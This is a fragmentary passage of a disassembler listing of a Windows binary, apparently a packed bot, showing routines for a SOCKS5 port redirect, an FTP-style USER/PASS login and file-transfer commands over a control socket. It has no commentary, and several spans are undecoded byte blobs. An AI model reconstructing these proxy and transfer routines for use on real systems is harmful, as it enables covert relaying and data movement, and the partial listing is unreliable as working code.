[ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D3E7 push 9Dh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42D2FE mov ecx, eax call sub_401898 mov edi, eax jmp short loc_42D300 ; --------------------------------------------------------------------------- loc_42D2FE: ; CODE XREF: ___:0042D2F1j xor edi, edi loc_42D300: ; CODE XREF: ___:0042D2FCj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D3E7: ; CODE XREF: ___:0042D2CAj lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D510 push 0A2h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42D42E mov ecx, eax call sub_4018ED mov edi, eax jmp short loc_42D430 ; --------------------------------------------------------------------------- loc_42D42E: ; CODE XREF: ___:0042D421j xor edi, edi loc_42D430: ; CODE XREF: ___:0042D42Cj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_40150A test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42D4DE mov byte ptr [edi+9Dh], 1 jmp short loc_42D4E5 ; --------------------------------------------------------------------------- loc_42D4DE: ; CODE XREF: ___:0042D4D3j mov byte ptr [edi+9Dh], 0 loc_42D4E5: ; CODE XREF: ___:0042D4DCj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FDC mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013DE loc_42D510: ; CODE XREF: ___:0042D3FAj lea ecx, [ebp+8Eh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D5DD push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42D55A mov ecx, eax call sub_40218A mov edi, eax jmp short loc_42D55C ; --------------------------------------------------------------------------- loc_42D55A: ; CODE XREF: ___:0042D54Dj xor edi, edi loc_42D55C: ; CODE XREF: ___:0042D558j push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D5DD: ; CODE XREF: ___:0042D526j lea ecx, [ebp+0BCh] call sub_4014DD lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42D809 lea ecx, [esp+30h] call sub_40142E lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_40142E push offset asc_444600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017EE push eax lea ecx, [esp+34h] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017EE push eax lea ecx, [esp+1Ch] call sub_401A9B lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014DD cmp eax, offset byte_448F40 jnz short loc_42D6BF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A9B loc_42D6BF: ; CODE XREF: ___:0042D6AFj lea ecx, [esp+18h] call sub_4014DD cmp eax, offset byte_448F40 jnz short loc_42D6DD push offset byte_448F40 lea ecx, [esp+1Ch] call sub_401A9B loc_42D6DD: ; CODE XREF: ___:0042D6CDj push offset asc_444600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017EE push eax lea ecx, [esp+34h] call sub_4017EE push eax mov ecx, edi call sub_4017EE mov edi, dword_511B14 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401870 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401870 push offset asc_444600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016B8 mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017EE push eax call edi ; atoi add esp, 4 push eax call sub_401C2B add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42D809: ; CODE XREF: ___:0042D5FCj lea ecx, [ebp+0EAh] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42D826 mov [ebp+11Ch], al loc_42D826: ; CODE XREF: ___:0042D81Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DA00: ; CODE XREF: ___:004021CBj push ecx mov edx, dword_449A5D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42DA21 inc ecx mov [eax+118h], ecx loc_42DA21: ; CODE XREF: ___:0042DA18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+4] push ecx mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA80 proc near ; CODE XREF: sub_401E1Fj var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_438244 sub_42DA80 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 900D8B19h, 5000511Ah, 6840C183h, 4473D8h, 3365E851h dd 83907781h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42DAD0: ; CODE XREF: ___:00401D8Ej mov eax, [esp+4] test eax, eax jz short loc_42DAE3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42DAE3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42DAE3: ; CODE XREF: ___:0042DAD6j ; ___:0042DADDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DB00 proc near ; CODE XREF: sub_401A7Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 nop call near ptr 77C46125h mov ebp, eax push 3Ah push ebp call near ptr 77C47660h nop mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42DB74 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_43828C ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44742C68h, 8BE89000h, 83778092h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42DB74: ; CODE XREF: sub_42DB00+47j mov [esi], bl mov eax, dword_511A7C inc esi cmp dword ptr [eax], 1 jle short loc_42DB92 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42DBA2 ; --------------------------------------------------------------------------- loc_42DB92: ; CODE XREF: sub_42DB00+7Fj mov eax, dword_511B1C movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42DBA2: ; CODE XREF: sub_42DB00+90j cmp eax, ebx jz short loc_42DBBD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_43822C ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42DBD1 ; --------------------------------------------------------------------------- loc_42DBBD: ; CODE XREF: sub_42DB00+A4j ; DATA XREF: Themida_:005AFD9Eo push offset aTcp ; "tcp" push esi call sub_43828C sub_42DB00 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj push ebp call sub_4381EA sub_42DBD1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42DC1D push ebp call sub_4381DE ; --------------------------------------------------------------------------- dw 0C33Bh dd 1C681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42DC1D: ; CODE XREF: ___:0042DBDEj push ebp mov ebp, dword_511AD0 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_438232 ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 447414h, 91ACE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 44740468h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h dd 72046807h, 1BEB0044h, 14468h, 0E8016A00h, 777FE42Bh dd 83F08B90h, 0F33B08C4h, 0FC681E75h, 90004473h, 809145E8h dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h dd 73FC6824h, 0E8900044h, 77809112h, 5704C483h, 0A513E8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DE00 proc near ; CODE XREF: sub_42F2C0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE3A loc_42DE22: ; CODE XREF: sub_42DE00+8Ej ; sub_42DE00+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DE3A: ; CODE XREF: sub_42DE00+20j mov eax, dword_5103B8 mov ebx, dword_511A8C cmp eax, 1 jle short loc_42DE5E mov eax, dword_511A90 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42DE5E: ; CODE XREF: sub_42DE00+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42DEDE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx nop call near ptr 77C47A90h push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42DF40 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42DE22 mov ebp, dword_511AE0 loc_42DE96: ; CODE XREF: sub_42DE00+D7j cmp dword_5103B8, 1 jle short loc_42DEB4 mov edx, dword_511A90 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42DEDE push edi push 100h push esi call sub_42DF40 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42DE96 jmp loc_42DE22 ; --------------------------------------------------------------------------- loc_42DEDE: ; CODE XREF: sub_42DE00+62j ; sub_42DE00+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42DE00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p ; sub_42DE00+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42DF70 cmp eax, 1 jz short loc_42DF70 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF70: ; CODE XREF: sub_42DF40+1Ej ; sub_42DF40+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42DF82 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42DF82: ; CODE XREF: sub_42DF40+36j ; sub_42DF40+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42DFD3 cmp ebx, edi jge short loc_42DF90 lea edi, [ebx-1] loc_42DF90: ; CODE XREF: sub_42DF40+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42DFA9 mov edi, eax sub edi, ebp loc_42DFA9: ; CODE XREF: sub_42DF40+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42E05A loc_42DFD3: ; CODE XREF: sub_42DF40+47j cmp ebx, 1 jz loc_42E0AD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42DFFB mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42DFFB: ; CODE XREF: sub_42DF40+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42E0C0 push esi call sub_42E170 add esp, 4 test eax, eax jz loc_42E0F2 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42E0DC test eax, eax jnz short loc_42E03F mov [esp+18h+var_4], 1 loc_42E03F: ; CODE XREF: sub_42DF40+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42DF82 ; --------------------------------------------------------------------------- loc_42E05A: ; CODE XREF: sub_42DF40+8Dj sub ebp, 2 mov esi, offset asc_4471F4 ; "\r\n" mov eax, ebp loc_42E064: ; CODE XREF: sub_42DF40+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42E08C test cl, cl jz short loc_42E088 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42E08C add eax, 2 add esi, 2 test cl, cl jnz short loc_42E064 loc_42E088: ; CODE XREF: sub_42DF40+130j xor eax, eax jmp short loc_42E091 ; --------------------------------------------------------------------------- loc_42E08C: ; CODE XREF: sub_42DF40+12Cj ; sub_42DF40+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42E091: ; CODE XREF: sub_42DF40+14Aj test eax, eax jnz short loc_42E0F2 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0AD: ; CODE XREF: sub_42DF40+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0C0: ; CODE XREF: sub_42DF40+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42E0F2 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42E0DC: ; CODE XREF: sub_42DF40+EDj push offset aRead ; "read" nop call near ptr 77C36DF2h add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42E0F2: ; CODE XREF: sub_42DF40+D2j ; sub_42DF40+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42DF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p ; sub_42EF60:loc_42EF8Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42E253 mov ecx, [esi+30h] test ecx, ecx jz loc_42E253 cmp eax, 2 jnz short loc_42E1A5 lea ebp, [esp+118h+var_104] jmp short loc_42E1A9 ; --------------------------------------------------------------------------- loc_42E1A5: ; CODE XREF: sub_42E170+2Dj lea ebx, [esp+118h+var_104] loc_42E1A9: ; CODE XREF: sub_42E170+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42E1B0: ; CODE XREF: sub_42E170+98j cmp eax, 40h jnb short loc_42E1C5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42E1C5: ; CODE XREF: sub_42E170+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_438208 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42E20A test eax, eax jg short loc_42E241 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42E246 mov eax, [esp+11Ch+var_104] jmp short loc_42E1B0 ; --------------------------------------------------------------------------- loc_42E20A: ; CODE XREF: sub_42E170+79j push 100h xor edi, edi call near ptr 77C1F2BCh nop mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E241: ; CODE XREF: sub_42E170+7Dj mov edi, 1 loc_42E246: ; CODE XREF: sub_42E170+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42E253: ; CODE XREF: sub_42E170+19j ; sub_42E170+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42E170 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2B0: ; CODE XREF: ___:0040141Aj mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42E35F ; default jmp off_42E364[eax*4] ; switch jump loc_42E2C7: ; DATA XREF: ___:off_42E364o mov eax, [esp+8] ; jumptable 0042E2C0 case 0 cmp eax, 1 jz short loc_42E2D9 cmp eax, 2 jnz loc_42E35F ; default loc_42E2D9: ; CODE XREF: ___:0042E2CEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2E8: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E2FB: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o push esi ; jumptable 0042E2C0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E33C: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42E34F: ; CODE XREF: ___:0042E2C0j ; DATA XREF: ___:off_42E364o mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42E35F: ; CODE XREF: ___:0042E2BAj ; ___:0042E2D3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r dd offset loc_42E2E8 ; jump table for switch statement dd offset loc_42E2FB dd offset loc_42E33C dd offset loc_42E34F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E3C0 proc near ; CODE XREF: sub_402266j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42E451 mov edi, dword_511A6C push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42E42D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42E490 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42E451: ; CODE XREF: sub_42E3C0+1Bj ; sub_42E3C0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42E3C0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p ; sub_42E3C0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42E4B3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4B3: ; CODE XREF: sub_42E490+15j mov eax, dword_5103B8 mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42E4DC mov eax, dword_511A90 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax nop call near ptr 77C40E13h add esp, 0Ch loc_42E4DC: ; CODE XREF: sub_42E490+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42E4FC pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E4FC: ; CODE XREF: sub_42E490+60j push esi lea ecx, [esp+110h+var_100] push offset aS_3 ; "%s\r\n" push ecx nop call near ptr 77C3F931h lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_4381F6 sub_42E490 endp ; --------------------------------------------------------------------------- db 85h dd 681A7FC0h, 447480h, 88B4E890h, 0C4837780h, 5FC03304h dd 0C4815B5Eh, 100h, 248C8BC3h, 114h, 0A5E85153h, 83FFFFF8h dd 5E5F08C4h, 0C4815Bh, 0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42E5B0 proc near ; CODE XREF: sub_401F73j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42E5FC cmp edi, 4 jz short loc_42E5D6 cmp edi, 3 jnz short loc_42E5FC loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax call near ptr 77C3F931h nop add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj ; sub_42E5B0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_511A6C push ecx lea edx, [esp+114h+var_100] push offset dword_4474C8 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42E490 add esp, 18h 